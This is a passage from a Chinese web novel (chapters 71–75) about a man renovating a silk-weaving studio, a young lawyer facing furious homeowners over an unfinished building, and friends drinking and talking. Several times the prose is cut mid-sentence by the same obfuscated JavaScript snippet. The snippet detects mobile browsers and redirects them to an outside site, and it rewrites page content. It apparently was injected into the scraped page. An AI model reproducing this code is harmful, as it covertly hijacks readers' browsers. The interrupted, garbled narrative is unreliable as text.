学生会的高官嘿嘿一笑,学着张野把手摊开烤火,光棍地说: “故事会上看的。” “...” 陆砚预感到,这大抵只是个开始,遂看向张野—— 张野:“我二姨说的,她家孩子总爱尿床。” 好家伙,原来自己队伍里全是爱瞎传话的男孩子。 随后,目光看向沈语棠。 诸位,不论前面那对师徒如何鬼扯,眼前的小姑娘可是郑重其事点了头的。 “咳咳,所以,全场玩火尿床的,至少有个女孩......对吧?” 试问一个人要多郑重、才能一而再、再而三地淡定自若呢? “陆哥!” “哈哈哈——” ...... 半夜雨小了些,陆砚躺在床上居然认真想了想白天讨论的玄学话题: 小孩子就是爱尿床,大概和玩火与否关系不大......所以沈语棠才会误打误撞点头。 想到此处他身体又憋笑抖了抖...... 只是,当时的人们为什么要‘说谎’呢? 而就是这样一个拙略的谎言,竟然贯穿了很多人的大半生、甚至自己的父母也是‘被骗者’,口口相传给下一代。 过了会,他代入父母的角色便想明白了—— 尿床是天天发生的、好理解的,可玩火的危害小孩子并不理解,于是说了谎。 就像七十年代长久流行的一个说法: 添饭不能压,那样命数会被压住。 其实哪有这么玄乎?现在招待客人都压上一压表示诚意。 不过是那时候物资匮乏,大人又不愿把残酷的事实告诉小孩、于是撒谎。 意外的是,今天才想明白的陆砚并没有感到‘被欺骗’的愤怒,更多是感叹那一辈人走来的不易。 他们、我们正是在这样谎言的笼罩下快乐长起来的,不是吗? 所以...... 谎言和痛苦之间该是怎样的关系? 一个谎言存在的时间久了,人真的就不会痛苦吗? 他蓦然想到陈禹之于颜朵。 大概,不论过了多久,只要那种谎言被戳破,痛苦都会如期而至吧...... 第七十一章 真实的律师工作 正式的债权人会议在**举行,在此之前需要先开一定次数的业主会议。 显然,后者听起来比前者少了些严肃性,自由度相对较高。 如今距离第一次业主会议已是三天前。 顾南乔仍清晰记得自己刚走进会议室时的场景,锃亮长桌边坐满了人: 穿黑色羽绒服的大爷、套花夹袄的阿婆、面色蜡黄的中年夫妇,还有怀抱婴儿的年轻母亲。 这便是涉及二十亿的烂尾楼重组案,最真实的业主面貌。他们并非西装革履,却自带一股不容忽视的气场。 顾南乔推门而入的一瞬,几乎被无声的压迫感淹没。 那种无力,并非源于慌乱,而是问题太多、太杂,大脑一时如同宕机。 就拿最基础的一点来说——不同业主在会议中的表决权重不相同。 她早知道这对普通人来说极为反常识,也预感公布时必将引发剧烈反弹。 果然,当大爷大妈们高声质问‘都是业主,凭什么权利不一样’时,根本没人愿意静下来听一句法律上的解释。 事实冰冷而清晰:有人只付了20%的首付,有人却掏空积蓄付全款—— 投入金额不同,权利自然不同。 就像独自买下整个玩具,与几个小朋友凑钱合买,产权份额怎能一样? 工作总不能因困难而停步。 上一场会议,她花了一个多小时仍无法让现场按序发言,更别说推选债权人代表。 也正是在那时才恍然: 自己这个晚辈之所以被派来负责如此重要的环节,或许正因为有经验的律师早预料到,首次会议根本讨论不出结果。 她更像一个情绪缓冲器,让愤怒的人们有个靶子去愤怒——维稳,才是首要任务。 真相往往吊诡而现实。 早知道花两百块请个幼儿园老师,效果说不定都比费力解释强。 今天是第二次业主会议召开的日子,顾南乔特意化了一个成熟而不失亲切的妆,努力往‘让人愿意听下去’的形象靠拢—— 刚才,她看见叶莉在准备第四次债权人会议。 这当然可以看作一个消极的信号,但一次深呼吸之后,反而激起了她‘非要超额完成任务不可’的野心。 他们小组在整个案件中不过是一块拼图,而自己所做的,更是拼图之中最细碎的那部分—— 面对如此碎片化的工作,又有什么可畏惧的? “叮——” 电梯门缓缓打开,中君大厦31层的会议室近在眼前。 还没走进,里面大嗓门业主们用上海话进行的‘友好交流’已经声声入耳。 “呼——” 深呼吸,门‘咔嗒’一声被推开,她迈步踏入,高跟鞋清脆地敲击地砖,会场霎时静了一瞬。 那寂静并非出于尊重,顾南乔感觉无数道目光如枪口般对准自己,**已然上膛,只等一声令下,便要将所有怒火倾泻而出。 仿佛开发商不是一家公司,而是某个人。 此刻谁站在他们面前,谁就得背负全部骂名。 她迎着众人的注视,一步步走向会议室最里端。 沉默正在读秒,空气绷成一根弦。 可是,拿枪的人,就一定是猎人吗? 有时候一句话便能奠定整局基调,至少现在,她还有一次发言的机会! “我是来帮大家争取利益的,不是来害人的。我们不代表开发商单方面决策,所有决议都要经过政府审核——政府是向着老百姓的,所以我也是向着大家的!” 这几天,她把《民法典》第278条关于表决机制的内容背得滚瓜烂熟,只求一个机会,哪怕十分钟、五分钟,就足以将债权人意见组织化、集中化。 唯有那样,才能实现集体对集体的对话,而不至于陷入七嘴八舌的混战。 目光扫过长桌,三十多张脸上写满清晰的不信任。 完了。 “侬讲啥我就非要信侬啊?就一句话,房子啥辰光交啊?我啥辰光能住进去啊?实在弗来赛就退钱赔钿!”(你说什么我就要信?房子什么时候交付?什么时候能住?不行就退钱!) “开发商一天到晚派个小姑娘过来,啥意思啦?还律师嘞,律师能有多少铜钿啦?叫老板出来!勿然吾伲还要闹下去个!”( ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318945|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看不起你,要见老板!) ...... 平平无奇的一天,苏棠乳燕归巢不到十二小时,便又收拾行囊被赶回学校。 ...... 倘若她是个彪形大汉,哪还容得下这群穷酸腐儒嘀嘀咕咕大半天? 没顺手把你们洗劫一空,都算爷今天心情好。 倘若她是买到烂尾楼的业主,恐怕恨不得闹得全上海鸡犬不宁,波及越广,处理才越快、越狠。 世易时移,顾南乔终于想通了: 有些矛盾,从根源上就注定无法调和。 无法调和,那就不调了! “讲了是老政府请阿拉来呃呀!现在连政府帮忙啊弗需要了是伐?(是政府请的我们,现在不需要政府了是吧?)” 她少有的歇斯底里着,仿佛脱了长衫的孔乙己站在钢丝线上,不适应却也不敢贸然停下: “一定要自家掏钞票请律师才放心呃,请侬出门左转,阿拉此地弗招待(这里不招待)!真呃搞七捻三(真好笑),我倒要看看,后头政府都不管了,还有啥人会站在大伙这边!” 这一刻镇住场子的,不是道理,是嗓门。 眼见几个带头的撸袖子、拧着下巴又要开嚷,顾南乔没再给对方机会—— “闹两句就能吓住工人?吓得他们乖乖给你们修楼?是,爷叔侬结棍(你厉害),一口唾沫人家就得磕头办事,但别人有你这么厉害吗?你看不到有抱着孩子的妇女?” 声音一扬,她转向众人: “那边的姐姐你听好咯,就是这个**的爷叔把我们这个会议搞得开不成,那边的阿婆、您是不是腰不舒服呀?没办法,就是这个爷叔又让大伙晚几天搬进新房,哇,爷叔你是不是收了开发商的钱,专门来搞破坏的呀?” 既然千方百计也聚不起一个集体,那就说明内部本就人心不齐。 既然人心不齐,何不划而分之? 她看似毅然决然...... 实则只是脾气突然没压住—— 谁还不是个债权人了?谁还没点气性了? 开发商欠我爸爸一两个小目标,我说话了吗! 第七十二章 专属印记 墨斗先生:回来了吗? 青鲤:陆哥,我在路上了,还五分钟。 墨斗先生:待会来二楼。 青鲤:好哒!(蚕宝宝点头.jpg) “陆哥,咱们先下去歇会儿......下午一块加把劲,这房间估计就能收尾了。” “没问题,我的张哥。” 眼前这间二十平米的缂丝房,是从一个双人间改出来的,仿古砖刚铺完,砖缝里还泛着点潮湿的气味。 同样的墙面、同样的格局,乍看之下除了地板似乎没什么特别—— 在外行人眼里,确实如此。 就像老农能从冬日荒芜的田地里闻出来年的丰收,陆砚眼中,这个房间早已不是毛坯的模样: 南墙采光好,正适合摆织机,机器旁再搭个操作台,楼下那些木架子之后全都搬上来,整整齐齐排一列; 墙面也不能空着,一会儿找几个画框挂上沈语棠的作品,旁边钉几块窄木板,高低错落摆些小物件......木板后面还得嵌上灯带,暖黄的光一打,阴影一衬,东西的质感就显出来了; 说到灯带,这虽然是陈禹提议的省钱办法,但效果确实不赖,光影一搭,反倒格外契合这儿的氛围。 他甚至打算,把店里所有公共区域的灯都换成仿古纸灯笼—— 就是那种米白色外罩、印着细蚕纹的纸灯,灯光温和泛黄,照在丝线上不刺眼,反而泛出一层柔润的光泽。 最后是细节,细节还有哪些呢...... 嗯,进门处可以挂一块扎染布,印上‘震泽缂丝’的字样;墙角堆几只竹编筐,放些与蚕丝相关的小东西;房间里再用加工过的蚕沙熏一熏,飘一丝淡淡的草木香,也挺有味道...... 陆砚清楚,或许还有些缺漏,但这方案都是一个月来一点点收集、一点点琢磨出来的。 随着装修推进,边做边调,这间将来会印有‘语棠’名字的缂丝房,绝不会差。 “陆哥,我回来了。” 果不其然,五分钟后名为‘青鲤’的网友就来面基了,正是穿卦马甲、扎辫子,一身传统打扮的沈语棠。 小姑娘今天双手背后,脚步轻盈雀跃,想必一切顺利。 陆砚向来不是给人压力的古板叔叔,正话反说道: “考核怎么样?我已经做好你因为沉迷游戏挂科的心理准备了。” “过了。” 她从背后伸出手,在编织袋里拿出一份卷轴式样的素色锦缎,缓缓摊开时,脸上藏不住的开心—— ‘弟子沈语棠,师从于我学习缂丝技艺五载,现已艺成出师,特此证明’。 上面附有师傅的亲笔签名和朱红钤印,比任何证书都有含金量。 毕业证分两种,一种是现代式证书,一种是古代式的出师帖,后者代表最终认可,其师徒名分是会在行业内通告的。 再往里看,果然还有一套缂丝专用的老工具......是为传承。 啧啧,丫头还真学出名堂了,某种程度来说,今天堪比拿到铁饭碗了啊。 “给老板娘看过没有?” 笑意还在她脸上盘旋,有些呆萌摇了摇头。 清淡的眉眼、小巧的鼻子,还有......还有那一尘不染、如雪般的纯粹,他突然就想到了出师帖上的一行字—— 学习缂丝技艺五载。 五年了啊。 当时她又抱着怎样的心情去学的缂丝?中间又有多少辛酸不为人知? 如果有部纪录片把对方这一路走来的点滴放映出来,陆砚觉得自己此刻一定会热泪盈眶。 “语棠,首先恭喜你毕业,为了纪念这个高兴的日子,你能不能过来帮个忙?” 说完转身向里走,沈语棠亦步亦趋。 他指着最后一块没铺砖的地方,窗下晴朗,平整的水泥铺在上面就像皑皑雪天平整的积雪,不管是水泥还是积雪,只要踩上去,就会有脚印。 “快,踩一脚,以后这里就是你的专属工作室了。” 小时候家家户户门口修水泥台阶,大人总严禁孩子踩上去,怕破坏了平整。 可长大后他却觉得,若自家台阶上印着自己的脚印,该有多酷。 沈语棠似乎有点不敢,或许她也曾是被下令呵斥‘不准乱踩’的小孩。 “没事的,”他温和劝说:“就跟录指纹一样,把你的印记留上去,反正贴了砖别人也看不见。” 其实踩一脚又有什么关系呢? 此刻,他也是在对童年的自己说。 沈语棠点点头,蹲下解鞋带:“陆哥,这是你修的,你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324905|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。” “...” 她好像理解错了一件事,不是脱鞋踩啊! 这傻姑娘,又不是真在手机上录指纹,咱们的仪式感未免太满了吧! 想着想着便笑出了声。 “好嘞,那我也沾沾老板你的喜气。” 两人褪去鞋袜,白皙纤瘦的脚趾微微蜷缩着,像初春怯怯的花苞,透露着紧张与羞涩。 常年端坐织机前的岁月,它细嫩得像从未历经跋涉。 颤颤巍巍、彼此搀扶着,轻轻踮起脚尖,在那未干的水泥地上,印下了一双并排的脚印。 ...... 潜心工作的时光总是那样快的溜走,陆砚发现了一件算不上巧合的巧合: 杨灵没回邮件,顾南乔没回消息,就连苏棠——白天发的消息、现在还没回一个字。 什么情况? 明天平安夜,难道提前一天过节去了? 不过今天民宿里面在过节倒是真的。 “我们震泽镇的定胜糕不是吹的,你们看看,昨天刚吃语棠今天就考核通过了!” 沈秀娥一如每个望子成龙的父母那样,初见希望便乐不可支,算她一共五人,桌上摆了八大碗,从下午三点就开始做的。 略过德云社的报菜名炫技,值得一提的是,此时桌上坐得很齐—— 对面是张野和冯小军,这边是自己和老板娘把沈语棠夹在中间,五人齐举杯为其庆祝。 “闺女,这次不准偷倒给我了喏,快二十的人了,没有老妈帮忙带酒的!” 闻言小姑娘很有灵性和老板娘碰了个,把后者乐得眼角褶子都挤不下了。 谁说女子不可饮酒?这喝的是养颜酒! 陆砚仿佛王师傅附体一般,笑眯眯戳了戳旁边: “语棠,什么时候生日呀?” 小姑娘转头,刚喝完一口又过来碰杯,脸颊已然升起一滩沱红,但众人都已为常,也不会阻拦: “27号呢!” 语气夹杂着酒香,声音像一缕柔骨的烟,勾了勾他的下巴、拂过脸庞。 就连对面和冯小军抢菜的张野也顿了顿,随即笑称‘好巧’。 是啊,好巧。 陆砚把她的杯子往上抬了抬,两者蜻蜓点水似的一碰:“小妹妹,我们上辈子应该是双胞胎。” 第七十三章 关于醉酒 醉酒这事儿,真得讲天赋——而且人跟人还不带重样。 有的人天生某种酶特别活跃,喝酒如饮水,上海甚至还有‘职业陪喝员’这种冷门却高薪的行当; 有的人基因敏感,一杯下肚就脸红脖子粗,身体疯狂报警‘再喝我就吐给你看’,这也算一种自我保护的天赋。 至于普通人,反应往往慢半拍,等意识到‘我不行了’的时候,胃里早已翻江倒海,为时已晚。 而沈语棠的天赋比较特别: 远没到量,人就已经开始醉,然后安安静**在那傻乐。据她本人事后交代,第二天基本什么也不记得。 陆砚以前有个江苏的室友,一喝大就爱吹,‘我们那儿的麻雀,停在电线上都能抿二两’,然后转头就吐了,从此喜提‘二两哥’荣誉称号。 想起这茬,主要是陆砚今天总算见识到了什么叫‘江苏不倒翁’的**教材—— 这姑娘桑葚酒都没喝到二两。 屋外冷风呼呼,屋内却暖意融融。饭桌上菜才吃一半,就没人动筷了,全拿着手机对着小姑娘,仿佛是哪位明星正在开新闻发布会。 没错,记者头子还是她亲妈。 陆砚举着镜头发问:“沈老师,关于学艺五年终有所获,您有什么感想吗?” 沈语棠软绵瘫在椅背,双手乖乖扶膝,脖子开摇摇车似的左摇右晃,呲着牙嘿嘿直笑。 于是陆姓记者连忙记录:对于学艺五年的感想,沈老师表示极其无语,并陷入长达数十秒的沉默。 张野:“沈妹妹,还记得哥哥吗?” 冯小军挤开半个肩膀,也不知害羞为何物了,兴奋道:“我去,这应该属于酒品满分级别的酒友!不哭不闹不上吊,光笑不吵还很妙!” 果然是学生会的人才。 可他们毕竟是外人,也毕竟是男人,等几人拍照留念后便收敛了。 只是陆砚扭头的时候不小心瞥到老板娘的手机—— 似乎是一条抖音内容,喜气洋洋、大红大绿的画面像过年似的,内容女主憨笑着,正是...... 罢了罢了。 主角不堪一击,后半场,饭桌上只剩下他们三个,聊的依旧是没营养的闲篇。 陆砚心不在焉地陪着,手机拿起又放下,始终没等来想见的消息提示,索性点开群聊,主动扔个话题进去: 【酒文化研究所上海总部(5)】 墨斗先生:(视频) 墨斗先生:细数那些年我们断片的酒局。 细数那些年,多少人借酒劲发疯、胡来,然而事实证明,真喝多了大抵就和沈语棠一样,是不那么闹腾的。 破吉他:你好意思细数? 破吉他:就你最讲究,从不随地大小吐,非要爬我床上才肯释放自我! 呵,翻旧账的男人是要扣分的。 陈禹:可得把人照顾好,照顾好了记得拍照证明清白。 破吉他:拍照发群?你这到底是自证清白还是自首现场? 没有律师出来主持公道的群聊简直臭不可闻,要知道现在可不比以前,有俩女群友啦! 墨斗先生:视频右下角,那是她妈妈。 陈禹:我去!不是吧? 破吉他:你在震惊什么? 破吉他:还有,‘我去’,是真的想去吗? 没有等到想见的人,只好放下手机,继续和张野、冯小军喝酒吃菜。 张野像是掐准了时机,忽然开口:“陆哥,和顾律师聊完啦?” “哪跟哪,跟顾律师有什么关系。” “张哥之前可都给我分析透了,说你百分之百是看上人家了。” 冯小军像个化学家,眼看这两团物质反应温吞,顺手就添了剂催化剂—— 催化剂不参与反应但能加剧反应,冯小军不参与八卦但能为八卦创造条件。 伸手夹菜的筷子突然一僵——有这么明显吗? “张哥,看上是看上,咱们都是男人,一天看上百八十个美女不是很正常吗。” 甚至你去上海武康路逛一圈,恋爱的感觉那简直是一波接着一波,不要太频繁咯。 心动容易,人人都能心动。 难的是心定,是走下去......这世上哪有那么多童话。 “我就是觉得你跟顾律师之间那什么...... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324906|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点儿那种磁场,”张野举起酒杯,隔空示意,“反正我看好你。” 陆砚迎上去碰了一杯,没再接话。 有些事,说了也不会改变。 有缘无分就是有缘无分。 ...... 晚上九点半,屋里亮着一盏暖黄的床头灯,两人躺在各自的床上。 冯小军盘腿坐在靠墙的床上,外放的音效噼里啪啦响个不停,姿态放松得像没骨头。 刚结束一局游戏准备下一把的时候,张野搭话说:“游戏有啥意思,晃眼睛。” 今天只是小酌,远没喝上劲的他此时有点没劲。 可冯小军不这么认为,他觉得打游戏眼睛很享受,手指已经点开下一局。 “三年一代沟,还真是。”他叹了口气,“我最多玩玩消消乐,手机嘛,也就看看视频解解闷。” 晚上听到‘视频’、‘解闷’等关键字眼,冯小军本能抬头: “张哥,视频是指那种视频?” “当然是老少咸宜,咱们没代沟的那种视频。” 两人对视一眼,默契笑了两声。 冯小军重新埋首战局,眼神专注得像在军训的兵,游戏音效衬得房间格外热闹。 张野侧躺,眼神放空,独自无聊着。 这就是没有饮酒的日子。 没有可以聊天的微信好友,没有人突然打电话来喋喋不休,就连家人,也早已断得差不多了。 偶尔清醒的灵魂,扎根在过于真实的现实里,不断向自身输送痛苦,反复预告一个灰败的未来。 他感觉自己像根油桃木,不那么贵的品种只能得被人拾去烧柴,起先内部滋滋冒油,在火势下负隅顽抗,等油冒得差不多了,整根木头便‘啪’的瘫软在柴火堆里,等着各部位渐渐碳化、火化。 就连冒的火星,都在为他人做贡献。 安静了片刻,他没头没尾地说了句: “其实,陆哥也跟咱有代沟,玩不到一块去。” “嗯嗯,正常啊。”冯小军顺口应着,全部注意力都集中在眼前的激战中,突然骂了一句:“槽!开局双BUFF你不能双杀?费舞!” 第七十四章 两通电话 “乔乔,过几天我就差不多完工了,要不要过来玩?” 屏幕那头的顾南乔正坐在出租车里,窗上凝了一层薄薄的白雾,她脱口而出: “不要,没空。” “你就不能犹豫一下吗?”陆砚故作‘埋怨’,“条件差是差了点,装一下想来也行啊。” 打量着视频里那双天生含情的眼睛,心想这女人今天走的是全真派冷心冷情路线? “不是装不装的问题,我过几天要出差,早就安排好了的......”说到这里,忽然唇角一弯,“是不是想找我跨年?兴许我能提前赶回来哟~” 额,好家伙,这都能猜到? 我本以为你忙到天昏地暗早已不知道今夕是何年了,没想到神经敏感至斯,果然已经提前‘安排好了’。 “哎,你不说我都忘了,马上要新年了。” 顾南乔学着他的口吻: “哎,你不说我都忘了,你马上要生日了。” 对,就是三天后,十二月二十七号!您记性可真好! 陆砚摆出才想起来的表情,自我调侃道: “真的假的?我怎么感觉前阵子刚在破吉他那儿过一遍了。” “我应该不会记错吧,毕竟是别人的生日。” 他只听过“自己的生日自己不会记错”,顾南乔这大概是参照这句改编的。 而且作为高情商人士,主动cue这茬,想必有戏? “好吧,你既然提起来了,那二十七号你过来吗?” 这次顾南乔手指抵住下巴,沉吟了下: “来不了,那天得工作。” 好家伙,你还真听劝,开头让你装犹豫,这下还真用上了。 “......我怎么觉得,犹豫一下之后的拒绝更伤人了呢?” 她一脸‘找到知音’的兴奋,认真点头: “所以啊,拒绝人要果断,答应的时候才要犹犹豫豫,这样才符合人情世故。” 此处已被连着拒绝两次,无力吐槽了。 “好吧,先不谴责你的人情世故,最近工作忙得顺利吗......等等,工作忙不会也是‘人情世故’吧?” 毕竟工作忙长年荣登‘十佳借口榜’,多少难言之隐,一句工作便能显得理直气壮。 正义小姐挑动好看的眉眼,出声**: “喂,就算是我男朋友,也不能贸然查岗的好伐?” 额......确实在理,不过咱就随口一问,您至于如此有边界感吗? 相对不那么正义的男人只得悻悻作罢: “行吧,那留给你男朋友问吧,算我多操心。” 路边的枯草摇着瘦弱的躯体,风声陡然传进耳里,这意味着手机两端陷入了一阵安静。 就像‘周末两人一起驾车去海边吹风,聊着聊着忘了看路,一不小心开进了死胡同’,对于无数暧昧男女来说,男女朋友是敏感话题,不算彼此有无进一步的打算,提及总是慎之又慎的。 少顷,顾南乔抬手将一缕发丝轻轻挽向耳后,漫不经心将话题续上: “你操什么心呀,不是刚有小姑娘陪你喝过酒了么?” 呵,翻旧账转移话题的女人。 “这天还能不能愉快地聊了,就算是我女朋友,也......” 女朋友倒是能查岗。 “好了,我有个事要你帮忙......作为感谢,过几天给你买礼物,行不?” 顾南乔神情肃了肃,陆砚随之正经几分: “什么大忙,连提都没提就先搞贿赂了?说来听听。” “最近有官司,对面被告又在跟踪......我出行都是出租车,很难把人甩掉。” 她说得轻描淡写,可陆砚怎么会忘记——第二次见面,就正好撞上她在便利店被人尾随的惊险场面。 按这频率,被跟踪似乎已不是小概率事件了,叫人怎能不担心? “这,这......” 他脑子里第一反应就是这班咱能不能别上了——当即否决。 随后又想,现在的人这么猖狂吗?他们想线下做什么...... 大概率只是威胁恐吓。 真敢在上海明目张胆犯罪的人,终究是极少数。 可即便如此,一个独居女性被人盯上,光想想就叫人后背发凉。 “我能帮你做什么,能做的一定做。” 不料顾南乔笑了笑,语气反而松弛下来: “我也不确定他们找没找到我住的地方......只是以防万一。你知道的,租房要是突然退租或者换地方,押金基本拿不回来。而且我现在......也没钱另租了。” 稍作停顿,她声音低了些:“之前你转我的那些,我想省着用。” 陆砚刚想说我还有点钱的时候,意识到对方好像不是借钱的意思,遂静静等待真正的请求。 她别过脸,手指无意识地绕着发尾,难得带上一点不好意思: “如果......如果真的临时需要搬出去躲几天,我能不能去你那儿暂住一下?” 害,就这样? 手上有一百块,他能给对方花七十块,暂住而已......又不是同居,他毫无心理负担。 “顾乔乔,废话半天你就说这?先说好噢,虽然我不在意你借不借住的,礼物我还是要收的,你答应的事情别反悔啊!” 对面翻了个白眼,明明前一秒还在害羞,如释重负以后又瞬间撕破了脸皮—— “知道啦,真的是,现在姐送不了你奥迪,但给你买个迪奥口红还是行的。” “...” 这边谈完已是十点,短短半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329539|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小时视频竟给他别样的刺激。 好在能帮上忙。 唯一遗憾的是,今天这位女菩萨没带他进门...... 苏棠微信这才时隔十几个小时回信——被风吹习惯了的陆砚自然不介意多待会。 再睡五分钟:在学习,没看到消息。 真巧,继‘忙工作’之后,‘在学习’也赫然位列‘十大借口’排行榜。 这孩子,要是能从早学到晚一眼手机都不看,那他还真就信了! 墨斗先生:苏棠同学,即使你解释了,我也要抨击你没有礼貌的行为。 墨斗先生:再晚几个小时,我都要打电话报警了,看是不是有坏人把你这个懵懂女大拐山区里了。 对方回消息出奇的慢,风吹了三趟,过了一会才回。 再睡五分钟:呵呵。 啧,陆砚夜观星象,十有**笃定,她来大姨妈了。 换作一般只会跟着本能走的渣男,早不搭理了。 偏偏他自认是个有良知的暖男,于是视频拨了过去—— “喂!苏棠!”正想像以前一样精神打招呼时,陡然刹了车。 屏幕那端,人还是那个人,可那双总是带笑的眼睛里却盛满了忧伤。 像是自家小朋友,去幼儿园第一天就摔破了膝盖,委屈又安静地望着他,看得人心头一揪。 “你......学那么久了,肚子饿不饿呀?” “......我找找看哦,炸鸡太油了,汉堡估计吃腻了,排骨年糕行不?撒梅甘粉、再帮你点杯健康又营养的牛奶......” 絮絮叨叨着,一会功夫就把外卖点好,甚至点外卖的平台都是他当年上学时用的、可以直达宿舍楼下的那种。 屏幕那端,苏棠始终安安静静地看着,一言不发。陆砚抬眼回看,忽然有些手足无措。 终于,他还是觉得得慢慢引导: “晚上好苏棠,现在时间十点零五分,我们聊聊天好吗?” 她笑了一下,仿佛刚才那股浓得化不开的忧伤只是电视剧里随手可换的频道,一按遥控就能拂去。 “陆砚,我不就没回你消息吗,干嘛这样。” “再次郑重声明,”他一本正经道,“长时间不回消息是件不太礼貌的事。而且,就算是我,也是会失落、会难过的。” 苏棠侧头抿嘴,看了看天花板,下一秒眼里已然蒙了层水雾,却笑着:“我又不是故意的,忘记回了嘛。” 陆砚的心猛地一揪,不知道如何形容眼前的画面,只是见不得女人的眼泪—— 她是苏棠啊,她怎么会哭呢? 只要她一哭,陆砚便觉得,肯定是自己有地方做得不对。 这无关爱情,甚至无关友情,植入在人心里最淳朴最本真的关怀,油然而生。 第七十五章 打磨 试问‘我错了,我还爱你’这短短七个字,究竟能变幻出多少种写法? 陆砚仍在摸索中,一时难以作答。 不过,若按孔乙己能写出‘茴’字七种写法来看,这七个字哪怕连续写上七七四十九天,怕也难有重样。 比如单是前半句‘我错了’,就大有文章可做。 既可诚恳直白,申明不狡辩、不推诿的立场;也可婉转迂回,略叙几分所谓‘机缘巧合’,将事由脉络徐徐铺展,为的不过是把认错也讲出一点值得体谅的底色。 当然,真正的核心还在后面那四个字。 而要烘托‘我还爱你’的出场,自然需铺垫些许‘苦苦的思念’、‘痴痴的守候’,或几句‘不曾动摇的决心’。 起初,陆砚还守着东方式的含蓄与矜持,写得收敛。 随着对方迟迟没有回音,心里那点迟疑渐渐被表达本身的快意取代——越写越投入,甚至从中品出几分精神上的愉悦。 他就像一个早已攒满的硬币储钱罐,继续往里存钱会涨得难受,贸然砸开又觉得可惜,唯有在取出时、被最在意的那个人看见,这一腔沉甸甸的心意,才算没有白费。 这不是变态,若有人问起,只说是深情。 反正,对方也从没明确表示过反感,不是吗? 如果世间真有古希腊专司许愿的神明,他愿在圣诞节这天郑重祈愿——不求内容好坏,只望得到对方的回信。 他有种预感: 对方其实也有话要说。 回信,就快了。 十二月二十四日,清早发完邮件,想到那个人此时应该正陷在安恬的睡梦中,不由得嘴角轻扬。 他就这样怀着澄明的心境,干劲满满地开启了新的一天。 ...... 或急或缓,万事万物都有自己的周期与节奏。 业主会议顺利告一段落,后续**的债权人会议交由叶莉接手,这意味着连续加班一周、早已超负荷运转的零件——顾南乔,终于可以稍稍放缓步伐,喘一口气。 加之年关将近,烂尾楼重整案也要等年后再继续推进...... 在此之前,至少不会再有连轴转的忙碌等着了。 于是,她硬着头皮——已经数不清最近是第几次硬着头皮了——打算蹬鼻子上脸,向叶莉请假。 是的,她的律师执业证还挂在先科,人却跑来中君请假。 魔都嘛,这种魔幻现实主义操作,大家也该见怪不怪了。 可叶莉还没习惯。 “顾南乔啊顾南乔,我真是一点好脸色都不能给你是吧?昨天刚夸你表现不错,今天就要撂挑子?还跑去美国?怎么,国外的圣诞树更亮是吧?” 从前常抱怨老顾,处处给她安排帮衬,憋屈得像戴奶嘴上班。 如今看来,戴与不戴憋屈大抵是必然的,还是有奶嘴的时候香一些。 她深吸一口气,语气放软: “叶律,我有个妹妹在那边......她一个人,需要人陪。一年一次,拜托拜托。” 有的女人给人的质感是微微偏硬的,比如叶莉,比如顾南乔。 因为她们基本上没用过一些撒娇、求人的手段。 倘若这类技能真有等级,那顾南乔刚才那番话,充其量只是在精英Boss面前甩出一个蹩脚的‘撒娇LV1’。 场面一度有些尴尬,两人都浑身不自在。 “叶律,我保证,工作绝不会耽误。”她诚恳补充,“我会带上电脑,定时查收邮件,紧急文件随时在线处理,报表材料我也已提前备好......但我妹妹那边,真的必须去一趟。” 她不能说‘美国的机票都订好了’,生怕态度强硬已至对方反感。 谁知反感的种子其实在第一天就种下了呢? 换做他人,在办大案子期间请一个星期假,叶莉早让其滚铺盖了。 偏偏这位...... 她默默做了个决定:今后就算被骂忘恩负义,也绝不再带这种‘二代’来团队了! ...... “陆哥,拆出来的废料攒了不少,该联系人来收了。” “是的。” “就是......” 张野欲言又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 